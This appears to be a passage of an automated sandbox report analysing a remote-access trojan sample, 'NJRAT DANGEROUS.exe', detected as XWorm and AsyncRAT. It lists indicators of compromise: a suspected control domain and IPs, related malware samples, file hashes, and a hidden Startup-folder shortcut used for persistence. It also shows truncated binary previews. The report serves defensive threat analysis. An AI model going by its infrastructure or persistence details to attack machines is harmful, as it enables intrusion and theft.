soon-lp.at.ply.gg	virusrat.jar	Get hash	malicious	Unknown	Browse	209.25.141.181
	virusrat.jar	Get hash	malicious	Unknown	Browse	209.25.141.181
	Bsp7liZ1i3.exe	Get hash	malicious	ArrowRAT	Browse	209.25.141.181
	file.exe	Get hash	malicious	BitRAT	Browse	209.25.141.181
ip-api.com	com surrogate.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	jerniuiopu.exe	Get hash	malicious	Blackshades	Browse	208.95.112.1
	file.exe	Get hash	malicious	ScreenConnect Tool, Amadey, LummaC Stealer, Vidar, XWorm, Xmrig	Browse	208.95.112.1
	RdLfpZY5A9.exe	Get hash	malicious	77Rootkit, XWorm	Browse	208.95.112.1
	7laJ4zKd8O.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	3edTbzftGf.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	208.95.112.1
	gjvU5KOFhX.exe	Get hash	malicious	Discord Token Stealer, Millenuim RAT	Browse	208.95.112.1
	hvqc3lk7ly.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	208.95.112.1
	da6ke5KbfB.exe	Get hash	malicious	AsyncRAT, Babadeda, XWorm	Browse	208.95.112.1
	03VPFXH490.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SALSGIVERUS	com surrogate.exe	Get hash	malicious	XWorm	Browse	147.185.221.22
	lastest.exe	Get hash	malicious	Njrat	Browse	147.185.221.20
	Fast Download.exe	Get hash	malicious	Njrat	Browse	147.185.221.229
	cnct.exe	Get hash	malicious	Njrat	Browse	147.185.221.20
	Server1.exe	Get hash	malicious	Njrat	Browse	147.185.221.17
	njSilent.exe	Get hash	malicious	Njrat	Browse	147.185.221.19
	Minet.exe	Get hash	malicious	Njrat	Browse	147.185.221.22
	Discordd.exe	Get hash	malicious	AsyncRAT	Browse	147.185.221.18
	Discord2.exe	Get hash	malicious	AsyncRAT	Browse	147.185.221.18
	Discord3.exe	Get hash	malicious	AsyncRAT	Browse	147.185.221.18
TUT-ASUS	com surrogate.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	jerniuiopu.exe	Get hash	malicious	Blackshades	Browse	208.95.112.1
	https://fsharetv.io	Get hash	malicious	Unknown	Browse	162.252.214.4
	file.exe	Get hash	malicious	ScreenConnect Tool, Amadey, LummaC Stealer, Vidar, XWorm, Xmrig	Browse	208.95.112.1
	RdLfpZY5A9.exe	Get hash	malicious	77Rootkit, XWorm	Browse	208.95.112.1
	7laJ4zKd8O.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	3edTbzftGf.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	208.95.112.1
	gjvU5KOFhX.exe	Get hash	malicious	Discord Token Stealer, Millenuim RAT	Browse	208.95.112.1
	hvqc3lk7ly.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	208.95.112.1
	da6ke5KbfB.exe	Get hash	malicious	AsyncRAT, Babadeda, XWorm	Browse	208.95.112.1

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 16 streams, Mon Dec 16 07:40:04 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	589212
Entropy (8bit):	2.938503665755775
Encrypted:	false
SSDEEP:	6144:FFnefBu1iKQznMxI1pwu7mq14nj74gwYGH3QSr+d290to0N:FVqwCznpkq1lfXQTd2990N
MD5:	F97A06C561E2F89ED55B7CA08DE7929A
SHA1:	5C26AE89F75983E6A560F12841BF4AD478B11479
SHA-256:	8E5B314786922D81EA612380AFA8CACB86DEF1599584735D306BDBBE4062200D
SHA-512:	CEE41BA353BAE8A4DCE46F641762A1D5618C42D88FF6D1EC80465951F49B7F2705CE92BC3A84A70B16F6EDAAA0C56A1A12736FD8D9905A69013EFDD808C19CA9
Malicious:	false
Preview:	MDMP..a..... .......T._g.........................(...............4...........4.......C..............l.......8...........T...........0b..l............G..........tI..............................................................................eJ.......J......Lw......................T............._g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA3CD.tmp.WERInternalMetadata.xml

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	9348
Entropy (8bit):	3.7104653961861596
Encrypted:	false
SSDEEP:	192:R6l7wVeJNiIZz6YEI/6wgmfk4jG4t85prh89blze1mO6fMXm:R6lXJEIZz6YEw6wgmfkr4tLlq1mO6fh
MD5:	0F99B7B191E49797ECAC3C91DF93D296
SHA1:	E0CBE9C3904B068C7AB67611C5766F3E291F7AEA
SHA-256:	09094D3BDF019C86C83B9AFA3E1DB0D64771746BED10E1342625A8EB65DC547D
SHA-512:	EBB74CFE265200A2ECA9B8606E82C8CDD56A7C163EE560432C1C74C1B2EB7C06405EF5D11EDA81A7BBDF67DD5DA0D34E360E0DD832D8930982E98F356B0CCE42
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.2.5.2.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA3ED.tmp.xml

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4965
Entropy (8bit):	4.528239187307719
Encrypted:	false
SSDEEP:	48:cvIwWl8zsRJg771I922SWpW8VYuAYm8M4JpSFgoyq8vRMSqMZAAd:uIjfjI7h2z7V7NJtoWHqMZAAd
MD5:	932B08BAB051DDE60300BBFAFBBBF31A
SHA1:	78D544446DC993AB52ACF6C108516C409207C7B7
SHA-256:	200AF8962CBF532BC8158F9D79D783F6F01B4AC9D73197A733AEAEC68D9AE97C
SHA-512:	F3F34F550E05B9CB53BFEA9FA17C8AFF1102A63BBDDDDF7232ED92948D0770E46AE4432E707C98E57DC816991B40083D35E471992FB54480A663832063050186
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="633522" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\NJRAT DANGEROUS.exe.log

Process:	C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	654
Entropy (8bit):	5.380476433908377
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPXcp1OKbbDLI4MWuPOKfSSI6Khap+92n4MNQp3/VXM5gXu9tv:ML9E4KQwKDE4KGKZI6Kh6+84xp3/VclT
MD5:	30E4BDFC34907D0E4D11152CAEBE27FA
SHA1:	825402D6B151041BA01C5117387228EC9B7168BF
SHA-256:	A7B8F7FFB4822570DB1423D61ED74D7F4B538CE73521CC8745BC6B131C18BE63
SHA-512:	89FBCBCDB0BE5AD7A95685CF9AA4330D5B0250440E67DC40C6642260E024F52A402E9381F534A9824D2541B98B02094178A15BF2320148432EDB0D09B5F972BA
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\04de61553901f06e2f763b6f03a6f65a\Microsoft.VisualBasic.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0b0fomtb.ccu.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2enqridy.ngu.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4mvo5ow1.dzk.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_broiqtaj.j1o.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hw3hbwy5.wbr.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kpvobgby.ijz.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lu4sn1jt.i4y.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ojo3irgj.ro2.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rzjc1pg2.myw.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_v2u0g3n0.hdn.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vv13ivgr.bfr.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yxnymjqf.1fc.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NJRAT DANGEROUS.lnk

Process:	C:\Users\user\Desktop\NJRAT DANGEROUS.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Mon Dec 16 06:38:45 2024, mtime=Mon Dec 16 06:38:47 2024, atime=Mon Dec 16 06:38:47 2024, length=70656, window=hide
Category:	dropped
Size (bytes):	807
Entropy (8bit):	5.074266300976537
Encrypted:	false
SSDEEP:	12:8jOiCHlEM4fKZk88CjhlsY//NLl9C8ZyKVibjAnvvHZSkAqVixggWGWfmV:8yNYfw8eZxBBVivA5SrqVixggWGWfm
MD5:	9C9C7682E06313D6BB6B1509DD4DF225
SHA1:	BEAE5C906CC2D0501132870A20842B45624C1792
SHA-256:	4A1BDC2A96D722B2289EB033C92EA3A7AB9E4E0246E8F541D4926F5867C3AC84
SHA-512:	9852C080FAC08C00D453AAF9F284A1196DB2E6C2BC4F359390761D9DE28E38AB6A6E1A2AC9EFDAF78FF7939962C09BD5870AD839C898D0EE522BC00B3F28C607
Malicious:	false
Preview:	L..................F.... ...o.u..O...k...O...k...O............................:..DG..Yr?.D..U..k0.&...&...... M........h.O......O......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl.Y.<....B.....................Bdg.A.p.p.D.a.t.a...B.V.1......Y.<..Roaming.@......DWSl.Y.<....C........................R.o.a.m.i.n.g.....t.2......Y.< .NJRATD~1.EXE..X......Y.<.Y.<....C.....................bHU.N.J.R.A.T. .D.A.N.G.E.R.O.U.S...e.x.e.......b...............-.......a..................C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe..".....\.....\.....\.....\.....\.N.J.R.A.T. .D.A.N.G.E.R.O.U.S...e.x.e.`.......X.......065367...........hT..CrF.f4... ..........,...W..hT..CrF.f4... ..........,...W..E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe

Process:	C:\Users\user\Desktop\NJRAT DANGEROUS.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	70656
Entropy (8bit):	5.983401222888051
Encrypted:	false
SSDEEP:	1536:5ihEd3G8rmQM+ypR3Vqolmvbtd69yspfmrm65E9aOcNyW5Z+:EW3GN7+YRlV6btMSAaOcNH+
MD5:	401B1EA00D135D5060F237C2F5A8A6C4
SHA1:	6955A95C3B4F5DE689B352E3D7E0BADD821D624B
SHA-256:	9B8CBCF33039DC4EE3A8649FAB25ED587E7C75958473F4EB814D5C13D90F8FFA
SHA-512:	36324A55944A423ADBDE5856DBFD80498EDBBDAFEA4808F4F39DA7AB5A9C50059C4D242B2365062856187160EE65EDB573E81D4644A1E7FBDE20B4656EE892B4
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 82%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<sd............................^(... ...@....@.. ....................................@..................................(..O....@.......................`....................................................... ............... ..H............text...d.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................@(......H........b..,.......&.....................................................(.....r...p. t.....(.....rg..p. Q....s.........s.........s.........s..........r"..p. "Y...r...p. +....r...p. E/...rS..p. ....r...p. ......((....rI..p. ..9..r...p. a...(+...-.(,...,.+.(-...,.+.(...,.+.()...,..(Q...&(....&+..+5sc... .... .'..od...(...~....-.(X...(N...~....oe...&.-..r...p. ,-...r...p. .x!..rE..p. .t...r...p. p{..r...p.rv..p. .....r1..p. .W..*.r...p

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.983401222888051
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	NJRAT DANGEROUS.exe
File size:	70'656 bytes
MD5:	401b1ea00d135d5060f237c2f5a8a6c4
SHA1:	6955a95c3b4f5de689b352e3d7e0badd821d624b
SHA256:	9b8cbcf33039dc4ee3a8649fab25ed587e7c75958473f4eb814d5c13d90f8ffa
SHA512:	36324a55944a423adbde5856dbfd80498edbbdafea4808f4f39da7ab5a9c50059c4d242b2365062856187160ee65edb573e81d4644a1e7fbde20b4656ee892b4
SSDEEP:	1536:5ihEd3G8rmQM+ypR3Vqolmvbtd69yspfmrm65E9aOcNyW5Z+:EW3GN7+YRlV6btMSAaOcNH+
TLSH:	9C638C183BE64125F2FF6FB05DA03157DA39F7636A12A71F20C8429B07239858D417FA
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<sd............................^(... ...@....@.. ....................................@................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x41285e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x64733CBC [Sun May 28 11:36:28 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
